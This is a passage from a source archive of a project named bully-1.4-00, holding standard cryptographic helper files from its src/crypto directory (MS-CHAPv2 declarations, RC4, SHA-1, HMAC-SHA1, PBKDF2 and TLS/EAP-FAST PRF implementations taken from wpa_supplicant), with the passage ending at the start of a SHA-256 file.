* old_nt_password_hash_encrypted_with_new_nt_password_hash - OldNtPasswordHashEncryptedWithNewNtPasswordHash() - RFC 2759, Sect. 8.12
* @new_password: 0-to-256-unicode-char NewPassword (IN; ASCII)
* @new_password_len: Length of new_password
* @old_password: 0-to-256-unicode-char OldPassword (IN; ASCII)
* @old_password_len: Length of old_password
* @encrypted_password_hash: 16-octet EncryptedPasswordHash (OUT)
* Returns: 0 on success, -1 on failure
*/
int old_nt_password_hash_encrypted_with_new_nt_password_hash(
const u8 *new_password, size_t new_password_len,
const u8 *old_password, size_t old_password_len,
u8 *encrypted_password_hash)
{
u8 old_password_hash[16], new_password_hash[16];
if (nt_password_hash(old_password, old_password_len,
old_password_hash) ||
nt_password_hash(new_password, new_password_len,
new_password_hash))
return -1;
nt_password_hash_encrypted_with_block(old_password_hash,
new_password_hash,
encrypted_password_hash);
return 0;
}
bully-1.4-00/src/crypto/ms_funcs.h 0000775 0000000 0000000 00000004773 13615304636 0017044 0 ustar 00root root 0000000 0000000 /*
* WPA Supplicant / shared MSCHAPV2 helper functions / RFC 2433 / RFC 2759
* Copyright (c) 2004-2009, Jouni Malinen
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License version 2 as
* published by the Free Software Foundation.
*
* Alternatively, this software may be distributed under the terms of BSD
* license.
*
* See README and COPYING for more details.
*/
#ifndef MS_FUNCS_H
#define MS_FUNCS_H
int generate_nt_response(const u8 *auth_challenge, const u8 *peer_challenge,
const u8 *username, size_t username_len,
const u8 *password, size_t password_len,
u8 *response);
int generate_nt_response_pwhash(const u8 *auth_challenge,
const u8 *peer_challenge,
const u8 *username, size_t username_len,
const u8 *password_hash,
u8 *response);
int generate_authenticator_response(const u8 *password, size_t password_len,
const u8 *peer_challenge,
const u8 *auth_challenge,
const u8 *username, size_t username_len,
const u8 *nt_response, u8 *response);
int generate_authenticator_response_pwhash(
const u8 *password_hash,
const u8 *peer_challenge, const u8 *auth_challenge,
const u8 *username, size_t username_len,
const u8 *nt_response, u8 *response);
int nt_challenge_response(const u8 *challenge, const u8 *password,
size_t password_len, u8 *response);
void challenge_response(const u8 *challenge, const u8 *password_hash,
u8 *response);
int nt_password_hash(const u8 *password, size_t password_len,
u8 *password_hash);
int hash_nt_password_hash(const u8 *password_hash, u8 *password_hash_hash);
int get_master_key(const u8 *password_hash_hash, const u8 *nt_response,
u8 *master_key);
int get_asymetric_start_key(const u8 *master_key, u8 *session_key,
size_t session_key_len, int is_send,
int is_server);
int __must_check encrypt_pw_block_with_password_hash(
const u8 *password, size_t password_len,
const u8 *password_hash, u8 *pw_block);
int __must_check new_password_encrypted_with_old_nt_password_hash(
const u8 *new_password, size_t new_password_len,
const u8 *old_password, size_t old_password_len,
u8 *encrypted_pw_block);
void nt_password_hash_encrypted_with_block(const u8 *password_hash,
const u8 *block, u8 *cypher);
int old_nt_password_hash_encrypted_with_new_nt_password_hash(
const u8 *new_password, size_t new_password_len,
const u8 *old_password, size_t old_password_len,
u8 *encrypted_password_hash);
#endif /* MS_FUNCS_H */
bully-1.4-00/src/crypto/rc4.c 0000775 0000000 0000000 00000002314 13615304636 0015677 0 ustar 00root root 0000000 0000000 /*
* RC4 stream cipher
* Copyright (c) 2002-2005, Jouni Malinen
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License version 2 as
* published by the Free Software Foundation.
*
* Alternatively, this software may be distributed under the terms of BSD
* license.
*
* See README and COPYING for more details.
*/
#include "includes.h"
#include "common.h"
#include "crypto.h"
#define S_SWAP(a,b) do { u8 t = S[a]; S[a] = S[b]; S[b] = t; } while(0)
int rc4_skip(const u8 *key, size_t keylen, size_t skip,
u8 *data, size_t data_len)
{
u32 i, j, k;
u8 S[256], *pos;
size_t kpos;
/* Setup RC4 state */
for (i = 0; i < 256; i++)
S[i] = i;
j = 0;
kpos = 0;
for (i = 0; i < 256; i++) {
j = (j + S[i] + key[kpos]) & 0xff;
kpos++;
if (kpos >= keylen)
kpos = 0;
S_SWAP(i, j);
}
/* Skip the start of the stream */
i = j = 0;
for (k = 0; k < skip; k++) {
i = (i + 1) & 0xff;
j = (j + S[i]) & 0xff;
S_SWAP(i, j);
}
/* Apply RC4 to data */
pos = data;
for (k = 0; k < data_len; k++) {
i = (i + 1) & 0xff;
j = (j + S[i]) & 0xff;
S_SWAP(i, j);
*pos++ ^= S[(S[i] + S[j]) & 0xff];
}
return 0;
}
bully-1.4-00/src/crypto/sha1-internal.c 0000775 0000000 0000000 00000022051 13615304636 0017655 0 ustar 00root root 0000000 0000000 /*
* SHA1 hash implementation and interface functions
* Copyright (c) 2003-2005, Jouni Malinen
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License version 2 as
* published by the Free Software Foundation.
*
* Alternatively, this software may be distributed under the terms of BSD
* license.
*
* See README and COPYING for more details.
*/
#include "includes.h"
#include "common.h"
#include "sha1.h"
#include "sha1_i.h"
#include "md5.h"
#include "crypto.h"
typedef struct SHA1Context SHA1_CTX;
void SHA1Transform(u32 state[5], const unsigned char buffer[64]);
/**
* sha1_vector - SHA-1 hash for data vector
* @num_elem: Number of elements in the data vector
* @addr: Pointers to the data areas
* @len: Lengths of the data blocks
* @mac: Buffer for the hash
* Returns: 0 on success, -1 of failure
*/
int sha1_vector(size_t num_elem, const u8 *addr[], const size_t *len, u8 *mac)
{
SHA1_CTX ctx;
size_t i;
SHA1Init(&ctx);
for (i = 0; i < num_elem; i++)
SHA1Update(&ctx, addr[i], len[i]);
SHA1Final(mac, &ctx);
return 0;
}
/* ===== start - public domain SHA1 implementation ===== */
/*
SHA-1 in C
By Steve Reid
100% Public Domain
-----------------
Modified 7/98
By James H. Brown
Still 100% Public Domain
Corrected a problem which generated improper hash values on 16 bit machines
Routine SHA1Update changed from
void SHA1Update(SHA1_CTX* context, unsigned char* data, unsigned int
len)
to
void SHA1Update(SHA1_CTX* context, unsigned char* data, unsigned
long len)
The 'len' parameter was declared an int which works fine on 32 bit machines.
However, on 16 bit machines an int is too small for the shifts being done
against
it. This caused the hash function to generate incorrect values if len was
greater than 8191 (8K - 1) due to the 'len << 3' on line 3 of SHA1Update().
Since the file IO in main() reads 16K at a time, any file 8K or larger would
be guaranteed to generate the wrong hash (e.g. Test Vector #3, a million
"a"s).
I also changed the declaration of variables i & j in SHA1Update to
unsigned long from unsigned int for the same reason.
These changes should make no difference to any 32 bit implementations since
an
int and a long are the same size in those environments.
--
I also corrected a few compiler warnings generated by Borland C.
1. Added #include for exit() prototype
2. Removed unused variable 'j' in SHA1Final
3. Changed exit(0) to return(0) at end of main.
ALL changes I made can be located by searching for comments containing 'JHB'
-----------------
Modified 8/98
By Steve Reid
Still 100% public domain
1- Removed #include and used return() instead of exit()
2- Fixed overwriting of finalcount in SHA1Final() (discovered by Chris Hall)
3- Changed email address from steve@edmweb.com to sreid@sea-to-sky.net
-----------------
Modified 4/01
By Saul Kravitz
Still 100% PD
Modified to run on Compaq Alpha hardware.
-----------------
Modified 4/01
By Jouni Malinen
Minor changes to match the coding style used in Dynamics.
Modified September 24, 2004
By Jouni Malinen
Fixed alignment issue in SHA1Transform when SHA1HANDSOFF is defined.
*/
/*
Test Vectors (from FIPS PUB 180-1)
"abc"
A9993E36 4706816A BA3E2571 7850C26C 9CD0D89D
"abcdbcdecdefdefgefghfghighijhijkijkljklmklmnlmnomnopnopq"
84983E44 1C3BD26E BAAE4AA1 F95129E5 E54670F1
A million repetitions of "a"
34AA973C D4C4DAA4 F61EEB2B DBAD2731 6534016F
*/
#define SHA1HANDSOFF
#define rol(value, bits) (((value) << (bits)) | ((value) >> (32 - (bits))))
/* blk0() and blk() perform the initial expand. */
/* I got the idea of expanding during the round function from SSLeay */
#ifndef WORDS_BIGENDIAN
#define blk0(i) (block->l[i] = (rol(block->l[i], 24) & 0xFF00FF00) | \
(rol(block->l[i], 8) & 0x00FF00FF))
#else
#define blk0(i) block->l[i]
#endif
#define blk(i) (block->l[i & 15] = rol(block->l[(i + 13) & 15] ^ \
block->l[(i + 8) & 15] ^ block->l[(i + 2) & 15] ^ block->l[i & 15], 1))
/* (R0+R1), R2, R3, R4 are the different operations used in SHA1 */
#define R0(v,w,x,y,z,i) \
z += ((w & (x ^ y)) ^ y) + blk0(i) + 0x5A827999 + rol(v, 5); \
w = rol(w, 30);
#define R1(v,w,x,y,z,i) \
z += ((w & (x ^ y)) ^ y) + blk(i) + 0x5A827999 + rol(v, 5); \
w = rol(w, 30);
#define R2(v,w,x,y,z,i) \
z += (w ^ x ^ y) + blk(i) + 0x6ED9EBA1 + rol(v, 5); w = rol(w, 30);
#define R3(v,w,x,y,z,i) \
z += (((w | x) & y) | (w & x)) + blk(i) + 0x8F1BBCDC + rol(v, 5); \
w = rol(w, 30);
#define R4(v,w,x,y,z,i) \
z += (w ^ x ^ y) + blk(i) + 0xCA62C1D6 + rol(v, 5); \
w=rol(w, 30);
#ifdef VERBOSE /* SAK */
void SHAPrintContext(SHA1_CTX *context, char *msg)
{
printf("%s (%d,%d) %x %x %x %x %x\n",
msg,
context->count[0], context->count[1],
context->state[0],
context->state[1],
context->state[2],
context->state[3],
context->state[4]);
}
#endif
/* Hash a single 512-bit block. This is the core of the algorithm. */
void SHA1Transform(u32 state[5], const unsigned char buffer[64])
{
u32 a, b, c, d, e;
typedef union {
unsigned char c[64];
u32 l[16];
} CHAR64LONG16;
CHAR64LONG16* block;
#ifdef SHA1HANDSOFF
CHAR64LONG16 workspace;
block = &workspace;
os_memcpy(block, buffer, 64);
#else
block = (CHAR64LONG16 *) buffer;
#endif
/* Copy context->state[] to working vars */
a = state[0];
b = state[1];
c = state[2];
d = state[3];
e = state[4];
/* 4 rounds of 20 operations each. Loop unrolled. */
R0(a,b,c,d,e, 0); R0(e,a,b,c,d, 1); R0(d,e,a,b,c, 2); R0(c,d,e,a,b, 3);
R0(b,c,d,e,a, 4); R0(a,b,c,d,e, 5); R0(e,a,b,c,d, 6); R0(d,e,a,b,c, 7);
R0(c,d,e,a,b, 8); R0(b,c,d,e,a, 9); R0(a,b,c,d,e,10); R0(e,a,b,c,d,11);
R0(d,e,a,b,c,12); R0(c,d,e,a,b,13); R0(b,c,d,e,a,14); R0(a,b,c,d,e,15);
R1(e,a,b,c,d,16); R1(d,e,a,b,c,17); R1(c,d,e,a,b,18); R1(b,c,d,e,a,19);
R2(a,b,c,d,e,20); R2(e,a,b,c,d,21); R2(d,e,a,b,c,22); R2(c,d,e,a,b,23);
R2(b,c,d,e,a,24); R2(a,b,c,d,e,25); R2(e,a,b,c,d,26); R2(d,e,a,b,c,27);
R2(c,d,e,a,b,28); R2(b,c,d,e,a,29); R2(a,b,c,d,e,30); R2(e,a,b,c,d,31);
R2(d,e,a,b,c,32); R2(c,d,e,a,b,33); R2(b,c,d,e,a,34); R2(a,b,c,d,e,35);
R2(e,a,b,c,d,36); R2(d,e,a,b,c,37); R2(c,d,e,a,b,38); R2(b,c,d,e,a,39);
R3(a,b,c,d,e,40); R3(e,a,b,c,d,41); R3(d,e,a,b,c,42); R3(c,d,e,a,b,43);
R3(b,c,d,e,a,44); R3(a,b,c,d,e,45); R3(e,a,b,c,d,46); R3(d,e,a,b,c,47);
R3(c,d,e,a,b,48); R3(b,c,d,e,a,49); R3(a,b,c,d,e,50); R3(e,a,b,c,d,51);
R3(d,e,a,b,c,52); R3(c,d,e,a,b,53); R3(b,c,d,e,a,54); R3(a,b,c,d,e,55);
R3(e,a,b,c,d,56); R3(d,e,a,b,c,57); R3(c,d,e,a,b,58); R3(b,c,d,e,a,59);
R4(a,b,c,d,e,60); R4(e,a,b,c,d,61); R4(d,e,a,b,c,62); R4(c,d,e,a,b,63);
R4(b,c,d,e,a,64); R4(a,b,c,d,e,65); R4(e,a,b,c,d,66); R4(d,e,a,b,c,67);
R4(c,d,e,a,b,68); R4(b,c,d,e,a,69); R4(a,b,c,d,e,70); R4(e,a,b,c,d,71);
R4(d,e,a,b,c,72); R4(c,d,e,a,b,73); R4(b,c,d,e,a,74); R4(a,b,c,d,e,75);
R4(e,a,b,c,d,76); R4(d,e,a,b,c,77); R4(c,d,e,a,b,78); R4(b,c,d,e,a,79);
/* Add the working vars back into context.state[] */
state[0] += a;
state[1] += b;
state[2] += c;
state[3] += d;
state[4] += e;
/* Wipe variables */
a = b = c = d = e = 0;
#ifdef SHA1HANDSOFF
os_memset(block, 0, 64);
#endif
}
/* SHA1Init - Initialize new context */
void SHA1Init(SHA1_CTX* context)
{
/* SHA1 initialization constants */
context->state[0] = 0x67452301;
context->state[1] = 0xEFCDAB89;
context->state[2] = 0x98BADCFE;
context->state[3] = 0x10325476;
context->state[4] = 0xC3D2E1F0;
context->count[0] = context->count[1] = 0;
}
/* Run your data through this. */
void SHA1Update(SHA1_CTX* context, const void *_data, u32 len)
{
u32 i, j;
const unsigned char *data = _data;
#ifdef VERBOSE
SHAPrintContext(context, "before");
#endif
j = (context->count[0] >> 3) & 63;
if ((context->count[0] += len << 3) < (len << 3))
context->count[1]++;
context->count[1] += (len >> 29);
if ((j + len) > 63) {
os_memcpy(&context->buffer[j], data, (i = 64-j));
SHA1Transform(context->state, context->buffer);
for ( ; i + 63 < len; i += 64) {
SHA1Transform(context->state, &data[i]);
}
j = 0;
}
else i = 0;
os_memcpy(&context->buffer[j], &data[i], len - i);
#ifdef VERBOSE
SHAPrintContext(context, "after ");
#endif
}
/* Add padding and return the message digest. */
void SHA1Final(unsigned char digest[20], SHA1_CTX* context)
{
u32 i;
unsigned char finalcount[8];
for (i = 0; i < 8; i++) {
finalcount[i] = (unsigned char)
((context->count[(i >= 4 ? 0 : 1)] >>
((3-(i & 3)) * 8) ) & 255); /* Endian independent */
}
SHA1Update(context, (unsigned char *) "\200", 1);
while ((context->count[0] & 504) != 448) {
SHA1Update(context, (unsigned char *) "\0", 1);
}
SHA1Update(context, finalcount, 8); /* Should cause a SHA1Transform()
*/
for (i = 0; i < 20; i++) {
digest[i] = (unsigned char)
((context->state[i >> 2] >> ((3 - (i & 3)) * 8)) &
255);
}
/* Wipe variables */
i = 0;
os_memset(context->buffer, 0, 64);
os_memset(context->state, 0, 20);
os_memset(context->count, 0, 8);
os_memset(finalcount, 0, 8);
}
/* ===== end - public domain SHA1 implementation ===== */
bully-1.4-00/src/crypto/sha1-pbkdf2.c 0000775 0000000 0000000 00000005144 13615304636 0017215 0 ustar 00root root 0000000 0000000 /*
* SHA1-based key derivation function (PBKDF2) for IEEE 802.11i
* Copyright (c) 2003-2005, Jouni Malinen
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License version 2 as
* published by the Free Software Foundation.
*
* Alternatively, this software may be distributed under the terms of BSD
* license.
*
* See README and COPYING for more details.
*/
#include "includes.h"
#include "common.h"
#include "sha1.h"
#include "md5.h"
#include "crypto.h"
static int pbkdf2_sha1_f(const char *passphrase, const char *ssid,
size_t ssid_len, int iterations, unsigned int count,
u8 *digest)
{
unsigned char tmp[SHA1_MAC_LEN], tmp2[SHA1_MAC_LEN];
int i, j;
unsigned char count_buf[4];
const u8 *addr[2];
size_t len[2];
size_t passphrase_len = os_strlen(passphrase);
addr[0] = (u8 *) ssid;
len[0] = ssid_len;
addr[1] = count_buf;
len[1] = 4;
/* F(P, S, c, i) = U1 xor U2 xor ... Uc
* U1 = PRF(P, S || i)
* U2 = PRF(P, U1)
* Uc = PRF(P, Uc-1)
*/
count_buf[0] = (count >> 24) & 0xff;
count_buf[1] = (count >> 16) & 0xff;
count_buf[2] = (count >> 8) & 0xff;
count_buf[3] = count & 0xff;
if (hmac_sha1_vector((u8 *) passphrase, passphrase_len, 2, addr, len,
tmp))
return -1;
os_memcpy(digest, tmp, SHA1_MAC_LEN);
for (i = 1; i < iterations; i++) {
if (hmac_sha1((u8 *) passphrase, passphrase_len, tmp,
SHA1_MAC_LEN, tmp2))
return -1;
os_memcpy(tmp, tmp2, SHA1_MAC_LEN);
for (j = 0; j < SHA1_MAC_LEN; j++)
digest[j] ^= tmp2[j];
}
return 0;
}
/**
* pbkdf2_sha1 - SHA1-based key derivation function (PBKDF2) for IEEE 802.11i
* @passphrase: ASCII passphrase
* @ssid: SSID
* @ssid_len: SSID length in bytes
* @iterations: Number of iterations to run
* @buf: Buffer for the generated key
* @buflen: Length of the buffer in bytes
* Returns: 0 on success, -1 of failure
*
* This function is used to derive PSK for WPA-PSK. For this protocol,
* iterations is set to 4096 and buflen to 32. This function is described in
* IEEE Std 802.11-2004, Clause H.4. The main construction is from PKCS#5 v2.0.
*/
int pbkdf2_sha1(const char *passphrase, const char *ssid, size_t ssid_len,
int iterations, u8 *buf, size_t buflen)
{
unsigned int count = 0;
unsigned char *pos = buf;
size_t left = buflen, plen;
unsigned char digest[SHA1_MAC_LEN];
while (left > 0) {
count++;
if (pbkdf2_sha1_f(passphrase, ssid, ssid_len, iterations,
count, digest))
return -1;
plen = left > SHA1_MAC_LEN ? SHA1_MAC_LEN : left;
os_memcpy(pos, digest, plen);
pos += plen;
left -= plen;
}
return 0;
}
bully-1.4-00/src/crypto/sha1-tlsprf.c 0000775 0000000 0000000 00000005557 13615304636 0017367 0 ustar 00root root 0000000 0000000 /*
* TLS PRF (SHA1 + MD5)
* Copyright (c) 2003-2005, Jouni Malinen
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License version 2 as
* published by the Free Software Foundation.
*
* Alternatively, this software may be distributed under the terms of BSD
* license.
*
* See README and COPYING for more details.
*/
#include "includes.h"
#include "common.h"
#include "sha1.h"
#include "md5.h"
#include "crypto.h"
/**
* tls_prf - Pseudo-Random Function for TLS (TLS-PRF, RFC 2246)
* @secret: Key for PRF
* @secret_len: Length of the key in bytes
* @label: A unique label for each purpose of the PRF
* @seed: Seed value to bind into the key
* @seed_len: Length of the seed
* @out: Buffer for the generated pseudo-random key
* @outlen: Number of bytes of key to generate
* Returns: 0 on success, -1 on failure.
*
* This function is used to derive new, cryptographically separate keys from a
* given key in TLS. This PRF is defined in RFC 2246, Chapter 5.
*/
int tls_prf(const u8 *secret, size_t secret_len, const char *label,
const u8 *seed, size_t seed_len, u8 *out, size_t outlen)
{
size_t L_S1, L_S2, i;
const u8 *S1, *S2;
u8 A_MD5[MD5_MAC_LEN], A_SHA1[SHA1_MAC_LEN];
u8 P_MD5[MD5_MAC_LEN], P_SHA1[SHA1_MAC_LEN];
int MD5_pos, SHA1_pos;
const u8 *MD5_addr[3];
size_t MD5_len[3];
const unsigned char *SHA1_addr[3];
size_t SHA1_len[3];
if (secret_len & 1)
return -1;
MD5_addr[0] = A_MD5;
MD5_len[0] = MD5_MAC_LEN;
MD5_addr[1] = (unsigned char *) label;
MD5_len[1] = os_strlen(label);
MD5_addr[2] = seed;
MD5_len[2] = seed_len;
SHA1_addr[0] = A_SHA1;
SHA1_len[0] = SHA1_MAC_LEN;
SHA1_addr[1] = (unsigned char *) label;
SHA1_len[1] = os_strlen(label);
SHA1_addr[2] = seed;
SHA1_len[2] = seed_len;
/* RFC 2246, Chapter 5
* A(0) = seed, A(i) = HMAC(secret, A(i-1))
* P_hash = HMAC(secret, A(1) + seed) + HMAC(secret, A(2) + seed) + ..
* PRF = P_MD5(S1, label + seed) XOR P_SHA-1(S2, label + seed)
*/
L_S1 = L_S2 = (secret_len + 1) / 2;
S1 = secret;
S2 = secret + L_S1;
if (secret_len & 1) {
/* The last byte of S1 will be shared with S2 */
S2--;
}
hmac_md5_vector_non_fips_allow(S1, L_S1, 2, &MD5_addr[1], &MD5_len[1],
A_MD5);
hmac_sha1_vector(S2, L_S2, 2, &SHA1_addr[1], &SHA1_len[1], A_SHA1);
MD5_pos = MD5_MAC_LEN;
SHA1_pos = SHA1_MAC_LEN;
for (i = 0; i < outlen; i++) {
if (MD5_pos == MD5_MAC_LEN) {
hmac_md5_vector_non_fips_allow(S1, L_S1, 3, MD5_addr,
MD5_len, P_MD5);
MD5_pos = 0;
hmac_md5_non_fips_allow(S1, L_S1, A_MD5, MD5_MAC_LEN,
A_MD5);
}
if (SHA1_pos == SHA1_MAC_LEN) {
hmac_sha1_vector(S2, L_S2, 3, SHA1_addr, SHA1_len,
P_SHA1);
SHA1_pos = 0;
hmac_sha1(S2, L_S2, A_SHA1, SHA1_MAC_LEN, A_SHA1);
}
out[i] = P_MD5[MD5_pos] ^ P_SHA1[SHA1_pos];
MD5_pos++;
SHA1_pos++;
}
return 0;
}
bully-1.4-00/src/crypto/sha1-tprf.c 0000775 0000000 0000000 00000003661 13615304636 0017022 0 ustar 00root root 0000000 0000000 /*
* SHA1 T-PRF for EAP-FAST
* Copyright (c) 2003-2005, Jouni Malinen
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License version 2 as
* published by the Free Software Foundation.
*
* Alternatively, this software may be distributed under the terms of BSD
* license.
*
* See README and COPYING for more details.
*/
#include "includes.h"
#include "common.h"
#include "sha1.h"
#include "crypto.h"
/**
* sha1_t_prf - EAP-FAST Pseudo-Random Function (T-PRF)
* @key: Key for PRF
* @key_len: Length of the key in bytes
* @label: A unique label for each purpose of the PRF
* @seed: Seed value to bind into the key
* @seed_len: Length of the seed
* @buf: Buffer for the generated pseudo-random key
* @buf_len: Number of bytes of key to generate
* Returns: 0 on success, -1 of failure
*
* This function is used to derive new, cryptographically separate keys from a
* given key for EAP-FAST. T-PRF is defined in RFC 4851, Section 5.5.
*/
int sha1_t_prf(const u8 *key, size_t key_len, const char *label,
const u8 *seed, size_t seed_len, u8 *buf, size_t buf_len)
{
unsigned char counter = 0;
size_t pos, plen;
u8 hash[SHA1_MAC_LEN];
size_t label_len = os_strlen(label);
u8 output_len[2];
const unsigned char *addr[5];
size_t len[5];
addr[0] = hash;
len[0] = 0;
addr[1] = (unsigned char *) label;
len[1] = label_len + 1;
addr[2] = seed;
len[2] = seed_len;
addr[3] = output_len;
len[3] = 2;
addr[4] = &counter;
len[4] = 1;
output_len[0] = (buf_len >> 8) & 0xff;
output_len[1] = buf_len & 0xff;
pos = 0;
while (pos < buf_len) {
counter++;
plen = buf_len - pos;
if (hmac_sha1_vector(key, key_len, 5, addr, len, hash))
return -1;
if (plen >= SHA1_MAC_LEN) {
os_memcpy(&buf[pos], hash, SHA1_MAC_LEN);
pos += SHA1_MAC_LEN;
} else {
os_memcpy(&buf[pos], hash, plen);
break;
}
len[0] = SHA1_MAC_LEN;
}
return 0;
}
bully-1.4-00/src/crypto/sha1.c 0000775 0000000 0000000 00000010141 13615304636 0016040 0 ustar 00root root 0000000 0000000 /*
* SHA1 hash implementation and interface functions
* Copyright (c) 2003-2005, Jouni Malinen
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License version 2 as
* published by the Free Software Foundation.
*
* Alternatively, this software may be distributed under the terms of BSD
* license.
*
* See README and COPYING for more details.
*/
#include "includes.h"
#include "common.h"
#include "sha1.h"
#include "crypto.h"
/**
* hmac_sha1_vector - HMAC-SHA1 over data vector (RFC 2104)
* @key: Key for HMAC operations
* @key_len: Length of the key in bytes
* @num_elem: Number of elements in the data vector
* @addr: Pointers to the data areas
* @len: Lengths of the data blocks
* @mac: Buffer for the hash (20 bytes)
* Returns: 0 on success, -1 on failure
*/
int hmac_sha1_vector(const u8 *key, size_t key_len, size_t num_elem,
const u8 *addr[], const size_t *len, u8 *mac)
{
unsigned char k_pad[64]; /* padding - key XORd with ipad/opad */
unsigned char tk[20];
const u8 *_addr[6];
size_t _len[6], i;
if (num_elem > 5) {
/*
* Fixed limit on the number of fragments to avoid having to
* allocate memory (which could fail).
*/
return -1;
}
/* if key is longer than 64 bytes reset it to key = SHA1(key) */
if (key_len > 64) {
if (sha1_vector(1, &key, &key_len, tk))
return -1;
key = tk;
key_len = 20;
}
/* the HMAC_SHA1 transform looks like:
*
* SHA1(K XOR opad, SHA1(K XOR ipad, text))
*
* where K is an n byte key
* ipad is the byte 0x36 repeated 64 times
* opad is the byte 0x5c repeated 64 times
* and text is the data being protected */
/* start out by storing key in ipad */
os_memset(k_pad, 0, sizeof(k_pad));
os_memcpy(k_pad, key, key_len);
/* XOR key with ipad values */
for (i = 0; i < 64; i++)
k_pad[i] ^= 0x36;
/* perform inner SHA1 */
_addr[0] = k_pad;
_len[0] = 64;
for (i = 0; i < num_elem; i++) {
_addr[i + 1] = addr[i];
_len[i + 1] = len[i];
}
if (sha1_vector(1 + num_elem, _addr, _len, mac))
return -1;
os_memset(k_pad, 0, sizeof(k_pad));
os_memcpy(k_pad, key, key_len);
/* XOR key with opad values */
for (i = 0; i < 64; i++)
k_pad[i] ^= 0x5c;
/* perform outer SHA1 */
_addr[0] = k_pad;
_len[0] = 64;
_addr[1] = mac;
_len[1] = SHA1_MAC_LEN;
return sha1_vector(2, _addr, _len, mac);
}
/**
* hmac_sha1 - HMAC-SHA1 over data buffer (RFC 2104)
* @key: Key for HMAC operations
* @key_len: Length of the key in bytes
* @data: Pointers to the data area
* @data_len: Length of the data area
* @mac: Buffer for the hash (20 bytes)
* Returns: 0 on success, -1 of failure
*/
int hmac_sha1(const u8 *key, size_t key_len, const u8 *data, size_t data_len,
u8 *mac)
{
return hmac_sha1_vector(key, key_len, 1, &data, &data_len, mac);
}
/**
* sha1_prf - SHA1-based Pseudo-Random Function (PRF) (IEEE 802.11i, 8.5.1.1)
* @key: Key for PRF
* @key_len: Length of the key in bytes
* @label: A unique label for each purpose of the PRF
* @data: Extra data to bind into the key
* @data_len: Length of the data
* @buf: Buffer for the generated pseudo-random key
* @buf_len: Number of bytes of key to generate
* Returns: 0 on success, -1 of failure
*
* This function is used to derive new, cryptographically separate keys from a
* given key (e.g., PMK in IEEE 802.11i).
*/
int sha1_prf(const u8 *key, size_t key_len, const char *label,
const u8 *data, size_t data_len, u8 *buf, size_t buf_len)
{
u8 counter = 0;
size_t pos, plen;
u8 hash[SHA1_MAC_LEN];
size_t label_len = os_strlen(label) + 1;
const unsigned char *addr[3];
size_t len[3];
addr[0] = (u8 *) label;
len[0] = label_len;
addr[1] = data;
len[1] = data_len;
addr[2] = &counter;
len[2] = 1;
pos = 0;
while (pos < buf_len) {
plen = buf_len - pos;
if (plen >= SHA1_MAC_LEN) {
if (hmac_sha1_vector(key, key_len, 3, addr, len,
&buf[pos]))
return -1;
pos += SHA1_MAC_LEN;
} else {
if (hmac_sha1_vector(key, key_len, 3, addr, len,
hash))
return -1;
os_memcpy(&buf[pos], hash, plen);
break;
}
counter++;
}
return 0;
}
bully-1.4-00/src/crypto/sha1.h 0000775 0000000 0000000 00000002352 13615304636 0016052 0 ustar 00root root 0000000 0000000 /*
* SHA1 hash implementation and interface functions
* Copyright (c) 2003-2009, Jouni Malinen
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License version 2 as
* published by the Free Software Foundation.
*
* Alternatively, this software may be distributed under the terms of BSD
* license.
*
* See README and COPYING for more details.
*/
#ifndef SHA1_H
#define SHA1_H
#define SHA1_MAC_LEN 20
int hmac_sha1_vector(const u8 *key, size_t key_len, size_t num_elem,
const u8 *addr[], const size_t *len, u8 *mac);
int hmac_sha1(const u8 *key, size_t key_len, const u8 *data, size_t data_len,
u8 *mac);
int sha1_prf(const u8 *key, size_t key_len, const char *label,
const u8 *data, size_t data_len, u8 *buf, size_t buf_len);
int sha1_t_prf(const u8 *key, size_t key_len, const char *label,
const u8 *seed, size_t seed_len, u8 *buf, size_t buf_len);
int __must_check tls_prf(const u8 *secret, size_t secret_len,
const char *label, const u8 *seed, size_t seed_len,
u8 *out, size_t outlen);
int pbkdf2_sha1(const char *passphrase, const char *ssid, size_t ssid_len,
int iterations, u8 *buf, size_t buflen);
#endif /* SHA1_H */
bully-1.4-00/src/crypto/sha1_i.h 0000775 0000000 0000000 00000001451 13615304636 0016361 0 ustar 00root root 0000000 0000000 /*
* SHA1 internal definitions
* Copyright (c) 2003-2005, Jouni Malinen
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License version 2 as
* published by the Free Software Foundation.
*
* Alternatively, this software may be distributed under the terms of BSD
* license.
*
* See README and COPYING for more details.
*/
#ifndef SHA1_I_H
#define SHA1_I_H
struct SHA1Context {
u32 state[5];
u32 count[2];
unsigned char buffer[64];
};
void SHA1Init(struct SHA1Context *context);
void SHA1Update(struct SHA1Context *context, const void *data, u32 len);
void SHA1Final(unsigned char digest[20], struct SHA1Context *context);
void SHA1Transform(u32 state[5], const unsigned char buffer[64]);
#endif /* SHA1_I_H */
bully-1.4-00/src/crypto/sha256-internal.c 0000775 0000000 0000000 00000014766 13615304636 0020047 0 ustar 00root root 0000000 0000000 /*
* SHA-256 hash implementation and interface functions
* Copyright (c) 2003-2007, Jouni Malinen
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License version 2 as
* published by the Free Software Foundation.
*
* Alternatively, this software may be distributed under the terms of BSD
* license.
*
* See README and COPYING for more details.
*/
#include "includes.h"
#include "common.h"
#include "sha256.h"
#include "crypto.h"
struct sha256_state {
u64 length;
u32 state[8], curlen;
u8 buf[64];
};
static void sha256_init(struct sha256_state *md);
static int sha256_process(struct sha256_state *md, const unsigned char *in,
unsigned long inlen);
static int sha256_done(struct sha256_state *md, unsigned char *out);
/**
* sha256_vector - SHA256 hash for data vector
* @num_elem: Number of elements in the data vector
* @addr: Pointers to the data areas
* @len: Lengths of the data blocks
* @mac: Buffer for the hash
* Returns: 0 on success, -1 of failure
*/
int sha256_vector(size_t num_elem, const u8 *addr[], const size_t *len,
u8 *mac)
{
struct sha256_state ctx;
size_t i;
sha256_init(&ctx);
for (i = 0; i < num_elem; i++)
if (sha256_process(&ctx, addr[i], len[i]))
return -1;
if (sha256_done(&ctx, mac))
return -1;
return 0;
}
/* ===== start - public domain SHA256 implementation ===== */
